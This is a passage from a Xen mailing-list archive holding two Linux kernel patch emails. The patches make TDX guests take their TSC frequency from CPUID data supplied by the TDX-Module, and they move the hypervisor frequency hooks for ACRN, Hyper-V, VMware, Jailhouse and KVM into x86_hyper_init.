         MFDyKvV6CJuU68aStM+KniqZJcyL2C7KCd7qNRugVucRoQyfp0dU69HfuZOt//EhVCIB
         NZfg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934358; x=1783539158;
        h=content-transfer-encoding:cc:to:from:subject:message-id:references
         :mime-version:in-reply-to:date:reply-to:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=5dPlSt+N6Lt/Y9ZvBDGnN+olGzf3s7mk8869JKIa0HY=;
        b=I4V4xejZrMqrJoxpos/IBM65flAzDyv8iYUNX9XS4sGa9Bd/1WgWZastUdNm2/KQ2e
         ETfvwrrSY+kVRxVicBjTufXHQXhcWdRfPEq35Xq7xFDCuI4WHKWdF+AJuu4N34eW6Grt
         BxfzZoRvaNcE/wUj54549Kyb7BmG4uHMD7Ud4nYZPXu+rwGFAAIuPw3SKSeXXzLNlemv
         SZmaYZ9WiEooff02STzeD/GvaiSQj1bODEzCfjI+E+snNuPGWM5p4xmrkYpGaEFYg9jH
         dWmjb39daaVq684qW8lChgulMIh5OFbKBWQounbPoh3oU6jpIiUWbVj1V3jTs5PFPl2v
         d2XA==
X-Forwarded-Encrypted: i=1; AFNElJ9ySgVDKW+YAMoOb2KW2j7br4eTbdCtDSYDYaFogGwtP99q48iCWzFzN5dZfKO7CBiHbGyoGcw/e+A=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyQb73iRe7wwEhIR1iwOmot+KvcigpGVIo5ILwVU7ZjE/sppkaj
	Z5uFeNC7ri8TwfOgQYS0zz1lPTRVR3icU8Iz8rUJsBD0CMEDRNvEED/vLph57p35v4RgsYPsqY6
	ISYQjiw==
X-Received: from pgmo11.prod.google.com ([2002:a63:5d4b:0:b0:c9e:63b8:11b5])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:d10e:b0:3b4:61f:1fec
 with SMTP id adf61e73a8af0-3bfed1c323amr3402841637.2.1782934358113; Wed, 01
 Jul 2026 12:32:38 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:31 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-11-seanjc@google.com>
Subject: [PATCH v5 10/51] x86/tdx: Force TSC frequency with CPUID-based info
 provided by the TDX-Module
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-d62444/1782934360-800EC1E0-D0B58536/0/0
X-purgate-type: clean
X-purgate-size: 6605

When running as a TDX guest, explicitly set the TSC frequency to a known
value, using CPUID-based information, instead of potentially relying on a
hypervisor-controlled PV routine.  For TDX guests, CPUID.0x15 is always
emulated by the TDX-Module, i.e. the information from CPUID is more
trustworthy than the information provided by the hypervisor.

To maintain backwards compatibility with TDX guest kernels that use native
calibration, and because it's the least awful option, retain
native_calibrate_tsc()'s stuffing of the local APIC bus period using the
core crystal frequency.  While it's entirely possible for the hypervisor
to emulate the APIC timer at a different frequency than the core crystal
frequency, the commonly accepted interpretation of Intel's SDM is that APIC
timer runs at the core crystal frequency when that latter is enumerated via
CPUID:

  The APIC timer frequency will be the processor=E2=80=99s bus clock or cor=
e
  crystal clock frequency (when TSC/core crystal clock ratio is enumerated
  in CPUID leaf 0x15).

If the hypervisor is malicious and deliberately runs the APIC timer at the
wrong frequency, nothing would stop the hypervisor from modifying the
frequency at any time, i.e. attempting to manually calibrate the frequency
out of paranoia would be futile.

Deliberately leave CPU frequency calibration as is, since the TDX-Module
doesn't provide any guarantees with respect to CPUID.0x16.

Expose and use cpuid_get_tsc_info() instead of providing a wrapper to
get the TSC and core crystal frequency, as TDX is the only anticipated
user outside of the TSC code, i.e. adding a helper to dedup the math won't
actually dedup anything.  Having TDX use "struct cpuid_tsc_info" also
avoids the temptation of declaring a local "tsc_khz" variable and thus
unintentionally creating a shadow of the global "tsc_khz".

Cc: Kiryl Shutsemau (Meta) <kas@kernel.org>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 .../admin-guide/kernel-parameters.txt         |  4 ++--
 arch/x86/coco/tdx/tdx.c                       | 20 ++++++++++++++++---
 arch/x86/include/asm/tdx.h                    |  2 ++
 arch/x86/include/asm/tsc.h                    |  7 +++++++
 arch/x86/kernel/tsc.c                         | 11 ++++------
 5 files changed, 32 insertions(+), 12 deletions(-)

diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentatio=
n/admin-guide/kernel-parameters.txt
index 181149f633c3..490e6aa72fc2 100644
--- a/Documentation/admin-guide/kernel-parameters.txt
+++ b/Documentation/admin-guide/kernel-parameters.txt
@@ -7947,8 +7947,8 @@ Kernel parameters
 			Format: <unsigned int>
=20
 			Note, tsc_early_khz is ignored if the TSC frequency is
-			provided by trusted firmware when running as an SNP
-			guest.
+			provided by trusted firmware when running as an SNP or
+			TDX guest.
=20
 	tsx=3D		[X86] Control Transactional Synchronization
 			Extensions (TSX) feature in Intel processors that
diff --git a/arch/x86/coco/tdx/tdx.c b/arch/x86/coco/tdx/tdx.c
index 29b6f1ed59ec..ae2d35f2ef33 100644
--- a/arch/x86/coco/tdx/tdx.c
+++ b/arch/x86/coco/tdx/tdx.c
@@ -8,6 +8,7 @@
 #include <linux/export.h>
 #include <linux/io.h>
 #include <linux/kexec.h>
+#include <asm/apic.h>
 #include <asm/coco.h>
 #include <asm/tdx.h>
 #include <asm/vmx.h>
@@ -1123,9 +1124,6 @@ void __init tdx_early_init(void)
=20
 	setup_force_cpu_cap(X86_FEATURE_TDX_GUEST);
=20
-	/* TSC is the only reliable clock in TDX guest */
-	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
-
 	cc_vendor =3D CC_VENDOR_INTEL;
=20
 	/* Configure the TD */
@@ -1195,3 +1193,19 @@ void __init tdx_early_init(void)
=20
 	tdx_announce();
 }
+
+unsigned int __init tdx_tsc_init(void)
+{
+	struct cpuid_tsc_info info;
+
+	if (WARN_ON_ONCE(cpuid_get_tsc_info(&info) || !info.crystal_khz))
+		return 0;
+
+	apic_set_timer_period_khz(info.crystal_khz, "TDX-Module via CPUID");
+
+	/* TSC is the only reliable clock in TDX guest */
+	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
+	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
+
+	return info.crystal_khz * info.numerator / info.denominator;
+}
diff --git a/arch/x86/include/asm/tdx.h b/arch/x86/include/asm/tdx.h
index 89e97d5761d8..d23ff06db41a 100644
--- a/arch/x86/include/asm/tdx.h
+++ b/arch/x86/include/asm/tdx.h
@@ -68,6 +68,7 @@ struct ve_info {
 #ifdef CONFIG_INTEL_TDX_GUEST
=20
 void __init tdx_early_init(void);
+unsigned int __init tdx_tsc_init(void);
=20
 void tdx_get_ve_info(struct ve_info *ve);
=20
@@ -89,6 +90,7 @@ void __init tdx_dump_td_ctls(u64 td_ctls);
 #else
=20
 static inline void tdx_early_init(void) { };
+static inline unsigned int tdx_tsc_init(void) { return 0; }
 static inline void tdx_halt(void) { };
=20
 static inline bool tdx_early_handle_ve(struct pt_regs *regs) { return fals=
e; }
diff --git a/arch/x86/include/asm/tsc.h b/arch/x86/include/asm/tsc.h
index 4d2d2f21ff06..b6b86e24e1bf 100644
--- a/arch/x86/include/asm/tsc.h
+++ b/arch/x86/include/asm/tsc.h
@@ -82,6 +82,13 @@ static inline cycles_t get_cycles(void)
 }
 #define get_cycles get_cycles
=20
+struct cpuid_tsc_info {
+	unsigned int denominator;
+	unsigned int numerator;
+	unsigned int crystal_khz;
+};
+extern int cpuid_get_tsc_info(struct cpuid_tsc_info *info);
+
 extern void tsc_early_init(void);
 extern void tsc_init(void);
 extern void mark_tsc_unstable(char *reason);
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 12043812c8f5..86384a83a5f6 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -34,6 +34,7 @@
 #include <asm/topology.h>
 #include <asm/uv/uv.h>
 #include <asm/sev.h>
+#include <asm/tdx.h>
=20
 unsigned int __read_mostly cpu_khz;	/* TSC clocks / usec, not used here */
 EXPORT_SYMBOL(cpu_khz);
@@ -645,13 +646,7 @@ static unsigned long quick_pit_calibrate(void)
 	return delta;
 }
=20
-struct cpuid_tsc_info {
-	unsigned int denominator;
-	unsigned int numerator;
-	unsigned int crystal_khz;
-};
-
-static int cpuid_get_tsc_info(struct cpuid_tsc_info *info)
+int cpuid_get_tsc_info(struct cpuid_tsc_info *info)
 {
 	unsigned int ecx_hz, edx;
=20
@@ -1529,6 +1524,8 @@ void __init tsc_early_init(void)
=20
 	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
 		known_tsc_khz =3D snp_secure_tsc_init();
+	else if (boot_cpu_has(X86_FEATURE_TDX_GUEST))
+		known_tsc_khz =3D tdx_tsc_init();
=20
 	/*
 	 * Ignore the user-provided TSC frequency if the exact frequency was
--=20
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350377.1607903 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fs-0001jc-F9; Wed, 01 Jul 2026 19:32:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350377.1607903; Wed, 01 Jul 2026 19:32:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fs-0001iD-1e; Wed, 01 Jul 2026 19:32:44 +0000
Received: by outflank-mailman (input) for mailman id 1350377;
 Wed, 01 Jul 2026 19:32:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3V2tFagYKCZwOA6JF8CKKCHA.8KITAJ-9ARAHHEOPO.TAJLNKFA8P.KNC@flex--seanjc.bounces.google.com>)
 id 1wf0fq-0001Fn-9L
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fp-009wqs-M6
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:41 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3V2tFagYKCZwOA6JF8CKKCHA.8KITAJ-9ARAHHEOPO.TAJLNKFA8P.KNC@flex--seanjc.bounces.google.com>)
 id 6a456b4a-e002-0a2a0a5209dd-0a2a45049d7c-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:41 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3V2tFagYKCZwOA6JF8CKKCHA.8KITAJ-9ARAHHEOPO.TAJLNKFA8P.KNC@flex--seanjc.bounces.google.com>)
 id 6a456b58-a01d-0a2a45040019-d155d2c9d57f-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:41 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-847b8d76e3dso1507200b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934359; x=1783539159; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=ITMoYQtDH7A346RlpjwfIOo+apTMWXSUo7by9rtr/s0=;
        b=elMQXmi/uZp73fGpzW1TvkyH6kOqmlf7TCafzSjAm4JoN7qEuRomA/ALPOVha7FivA
         JsIN0xqEuUA1LqYUwh429soCyPcVvGAPC+GPUkgTzVvtlFD+eS+wgdQHk74xyZeeRUnv
         Uz9pgnslWMazLKZbD00CHcZbpQ9rXrHRdMKAjdcfA+wbzdlm/jnRrnkkDCXylHu+PX+4
         +RkWXRswmof2EUpJMd1sx2EC7WUGLS1JZIB+RE2ODO67z8IOw70Abyb0N3GT+vHbFFua
         L4iw89U2QfYDYVgiKE/E88+U1Qwiq05VLdCrN+0oXpjyEgACCRTHM9e1IyD69mk80udt
         S3Ug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934359; x=1783539159;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=ITMoYQtDH7A346RlpjwfIOo+apTMWXSUo7by9rtr/s0=;
        b=d/jwqXO8DyMyCQF+uA5I9KfepmlOCqRre3GVVAsvpMiXgtvvbarf0IMzWlNxUsblb4
         S1Ebx7JcYft6DWY3ZrO3jmWcKKMuK6dkhlDF+qz34bpesDAz5d53SPD6Ut1QtLxywXRs
         uqa7b3uB/A+KbfZ8Ys9YIKZK0BbBBQlmg82Fxb7mFmT41LiivAOdT8SLDu8GXF1uv1qW
         FbXk/68Oo91BEKXGP+mafu37QnXSls8876dFJh8AwF7xo9qZHV1JNB9FnsyMB+slIAE3
         J65FsE/0ECVn1X+00udYLfRsN4oPIYOAzvUFRRjy1iqNs6x65qutCkTPmdoruxc0+bvq
         thXA==
X-Forwarded-Encrypted: i=1; AFNElJ8LFuPXt2tuHrV6Af7KsAj4kVx9gGJw467ZPpFvhweNnLs5m9xTh4HzgDnKwHZlaXzIcF+5uwwU+i8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxNEOYDV5KVaPJqk5RJr9y3sGcxpxm2gZu2Hy5tKG9HMmNUjU3M
	JkRcBQINOeuqgcRtRAT/PvLnn8faiLrcrD4nqSSadtOLVJHLy+3IZHCmH5iu9YAIAAyytuyKLwg
	OjHKheA==
X-Received: from pgaf14.prod.google.com ([2002:a63:380e:0:b0:c98:2639:852e])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:b93:b0:842:57e8:1bdb
 with SMTP id d2e1a72fcca58-847c07be445mr3013550b3a.20.1782934359203; Wed, 01
 Jul 2026 12:32:39 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:32 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-12-seanjc@google.com>
Subject: [PATCH v5 11/51] x86/tsc: Add dedicated hypervisor hooks for getting
 known TSC/CPU frequencies
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934361-2E1A71CC-4FA4A416/0/0
X-purgate-type: clean
X-purgate-size: 12591

Add dedicated hypervisor hooks for getting known TSC/CPU frequencies
instead of overriding seemingly generic platform hooks, and explicitly
priotize hypervisor-provided frequencies over native methods, but do NOT
clobber the frequency obtained from trusted firmware.  While shuffling the
hooks around is arguably "six of one, half dozen of the other", scoping
them to x86_hyper_init makes their purpose more obvious, and allows for
explicitly defining the priority of sources (as is done here).

As is already done when trusted firmware provides the TSC frequency, ignore
ignore tsc_early_khz if the exact TSC frequency was obtained from the
hypervisor, as attempting to refine the TSC frequency when running in a VM
is all but guaranteed to cause problems sooner or later due to the
calibration sources being emulated devices in the vast majority of setups.

Cc: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 .../admin-guide/kernel-parameters.txt         |  3 +-
 arch/x86/include/asm/acrn.h                   |  5 ----
 arch/x86/include/asm/x86_init.h               |  4 +++
 arch/x86/kernel/cpu/acrn.c                    | 10 +++++--
 arch/x86/kernel/cpu/mshyperv.c                |  6 ++--
 arch/x86/kernel/cpu/vmware.c                  |  8 ++---
 arch/x86/kernel/jailhouse.c                   |  6 ++--
 arch/x86/kernel/kvmclock.c                    |  6 ++--
 arch/x86/kernel/tsc.c                         | 29 ++++++++++++++-----
 arch/x86/xen/time.c                           |  4 +--
 10 files changed, 50 insertions(+), 31 deletions(-)

diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentation/admin-guide/kernel-parameters.txt
index 490e6aa72fc2..a387bb2c47e2 100644
--- a/Documentation/admin-guide/kernel-parameters.txt
+++ b/Documentation/admin-guide/kernel-parameters.txt
@@ -7948,7 +7948,8 @@ Kernel parameters
 
 			Note, tsc_early_khz is ignored if the TSC frequency is
 			provided by trusted firmware when running as an SNP or
-			TDX guest.
+			TDX guest, or when the hypervisor provides the exact
+			frequency via a paravirtual interface.
 
 	tsx=		[X86] Control Transactional Synchronization
 			Extensions (TSX) feature in Intel processors that
diff --git a/arch/x86/include/asm/acrn.h b/arch/x86/include/asm/acrn.h
index db42b477c41d..a892179c61c6 100644
--- a/arch/x86/include/asm/acrn.h
+++ b/arch/x86/include/asm/acrn.h
@@ -32,11 +32,6 @@ static inline u32 acrn_cpuid_base(void)
 	return 0;
 }
 
-static inline unsigned long acrn_get_tsc_khz(void)
-{
-	return cpuid_eax(ACRN_CPUID_TIMING_INFO);
-}
-
 /*
  * Hypercalls for ACRN
  *
diff --git a/arch/x86/include/asm/x86_init.h b/arch/x86/include/asm/x86_init.h
index 953d3199408a..0c89bf40f507 100644
--- a/arch/x86/include/asm/x86_init.h
+++ b/arch/x86/include/asm/x86_init.h
@@ -123,6 +123,8 @@ struct x86_init_pci {
  * @msi_ext_dest_id:		MSI supports 15-bit APIC IDs
  * @init_mem_mapping:		setup early mappings during init_mem_mapping()
  * @init_after_bootmem:		guest init after boot allocator is finished
+ * @get_tsc_khz:		get the TSC frequency (returns 0 if frequency is unknown)
+ * @get_cpu_khz:		get the CPU frequency (returns 0 if frequency is unknown)
  */
 struct x86_hyper_init {
 	void (*init_platform)(void);
@@ -131,6 +133,8 @@ struct x86_hyper_init {
 	bool (*msi_ext_dest_id)(void);
 	void (*init_mem_mapping)(void);
 	void (*init_after_bootmem)(void);
+	unsigned int (*get_tsc_khz)(void);
+	unsigned int (*get_cpu_khz)(void);
 };
 
 /**
diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
index dc119af83524..ad8f2da8003b 100644
--- a/arch/x86/kernel/cpu/acrn.c
+++ b/arch/x86/kernel/cpu/acrn.c
@@ -24,13 +24,15 @@ static u32 __init acrn_detect(void)
 	return acrn_cpuid_base();
 }
 
+static unsigned int __init acrn_get_tsc_khz(void)
+{
+	return cpuid_eax(ACRN_CPUID_TIMING_INFO);
+}
+
 static void __init acrn_init_platform(void)
 {
 	/* Install system interrupt handler for ACRN hypervisor callback */
 	sysvec_install(HYPERVISOR_CALLBACK_VECTOR, sysvec_acrn_hv_callback);
-
-	x86_platform.calibrate_tsc = acrn_get_tsc_khz;
-	x86_platform.calibrate_cpu = acrn_get_tsc_khz;
 }
 
 static bool acrn_x2apic_available(void)
@@ -78,4 +80,6 @@ const __initconst struct hypervisor_x86 x86_hyper_acrn = {
 	.type			= X86_HYPER_ACRN,
 	.init.init_platform     = acrn_init_platform,
 	.init.x2apic_available  = acrn_x2apic_available,
+	.init.get_tsc_khz	= acrn_get_tsc_khz,
+	.init.get_cpu_khz	= acrn_get_tsc_khz,
 };
diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyperv.c
index 87beecec76f0..f9bc1c2d8c93 100644
--- a/arch/x86/kernel/cpu/mshyperv.c
+++ b/arch/x86/kernel/cpu/mshyperv.c
@@ -395,7 +395,7 @@ static int hv_nmi_unknown(unsigned int val, struct pt_regs *regs)
 }
 #endif
 
-static unsigned long hv_get_tsc_khz(void)
+static unsigned int __init hv_get_tsc_khz(void)
 {
 	unsigned long freq;
 
@@ -573,8 +573,8 @@ static void __init ms_hyperv_init_platform(void)
 
 	if (ms_hyperv.features & HV_ACCESS_FREQUENCY_MSRS &&
 	    ms_hyperv.misc_features & HV_FEATURE_FREQUENCY_MSRS_AVAILABLE) {
-		x86_platform.calibrate_tsc = hv_get_tsc_khz;
-		x86_platform.calibrate_cpu = hv_get_tsc_khz;
+		x86_init.hyper.get_tsc_khz = hv_get_tsc_khz;
+		x86_init.hyper.get_cpu_khz = hv_get_tsc_khz;
 		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	}
 
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 13b97265c535..3cb473cae462 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -64,7 +64,7 @@ struct vmware_steal_time {
 	u64 reserved[7];
 };
 
-static unsigned long vmware_tsc_khz __ro_after_init;
+static unsigned long vmware_tsc_khz __initdata;
 static u8 vmware_hypercall_mode     __ro_after_init;
 
 unsigned long vmware_hypercall_slow(unsigned long cmd,
@@ -137,7 +137,7 @@ static inline int __vmware_platform(void)
 	return eax != UINT_MAX && ebx == VMWARE_HYPERVISOR_MAGIC;
 }
 
-static unsigned long vmware_get_tsc_khz(void)
+static unsigned int __init vmware_get_tsc_khz(void)
 {
 	return vmware_tsc_khz;
 }
@@ -419,8 +419,8 @@ static void __init vmware_platform_setup(void)
 		}
 
 		vmware_tsc_khz = tsc_khz;
-		x86_platform.calibrate_tsc = vmware_get_tsc_khz;
-		x86_platform.calibrate_cpu = vmware_get_tsc_khz;
+		x86_init.hyper.get_tsc_khz = vmware_get_tsc_khz;
+		x86_init.hyper.get_cpu_khz = vmware_get_tsc_khz;
 
 		/* Skip lapic calibration since we know the bus frequency. */
 		apic_set_timer_period_hz(ecx, "VMware hypervisor");
diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
index f2d4ef89c085..e24c05ab4fae 100644
--- a/arch/x86/kernel/jailhouse.c
+++ b/arch/x86/kernel/jailhouse.c
@@ -68,7 +68,7 @@ static void __init jailhouse_timer_init(void)
 	apic_set_timer_period_khz(setup_data.v1.apic_khz, "Jailhouse hypervisor");
 }
 
-static unsigned long jailhouse_get_tsc(void)
+static unsigned int __init jailhouse_get_tsc(void)
 {
 	return precalibrated_tsc_khz;
 }
@@ -210,8 +210,6 @@ static void __init jailhouse_init_platform(void)
 	x86_init.mpparse.parse_smp_cfg		= jailhouse_parse_smp_config;
 	x86_init.pci.arch_init			= jailhouse_pci_arch_init;
 
-	x86_platform.calibrate_cpu		= jailhouse_get_tsc;
-	x86_platform.calibrate_tsc		= jailhouse_get_tsc;
 	x86_platform.get_wallclock		= jailhouse_get_wallclock;
 	x86_platform.legacy.rtc			= 0;
 	x86_platform.legacy.warm_reset		= 0;
@@ -293,5 +291,7 @@ const struct hypervisor_x86 x86_hyper_jailhouse __refconst = {
 	.detect			= jailhouse_detect,
 	.init.init_platform	= jailhouse_init_platform,
 	.init.x2apic_available	= jailhouse_x2apic_available,
+	.init.get_tsc_khz	= jailhouse_get_tsc,
+	.init.get_cpu_khz	= jailhouse_get_tsc,
 	.ignore_nopv		= true,
 };
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index cb3d0ca1fa22..4f8299303a19 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -136,7 +136,7 @@ static inline void kvm_sched_clock_init(bool stable)
  * poll of guests can be running and trouble each other. So we preset
  * lpj here
  */
-static unsigned long kvm_get_tsc_khz(void)
+static unsigned int __init kvm_get_tsc_khz(void)
 {
 	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	return pvclock_tsc_khz(this_cpu_pvti());
@@ -343,8 +343,8 @@ void __init kvmclock_init(void)
 	flags = pvclock_read_flags(&hv_clock_boot[0].pvti);
 	kvm_sched_clock_init(flags & PVCLOCK_TSC_STABLE_BIT);
 
-	x86_platform.calibrate_tsc = kvm_get_tsc_khz;
-	x86_platform.calibrate_cpu = kvm_get_tsc_khz;
+	x86_init.hyper.get_tsc_khz = kvm_get_tsc_khz;
+	x86_init.hyper.get_cpu_khz = kvm_get_tsc_khz;
 	x86_platform.get_wallclock = kvm_get_wallclock;
 	x86_platform.set_wallclock = kvm_set_wallclock;
 #ifdef CONFIG_X86_LOCAL_APIC
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 86384a83a5f6..1dca9464b41c 100644
--- a/arch/x86/kernel/tsc.c
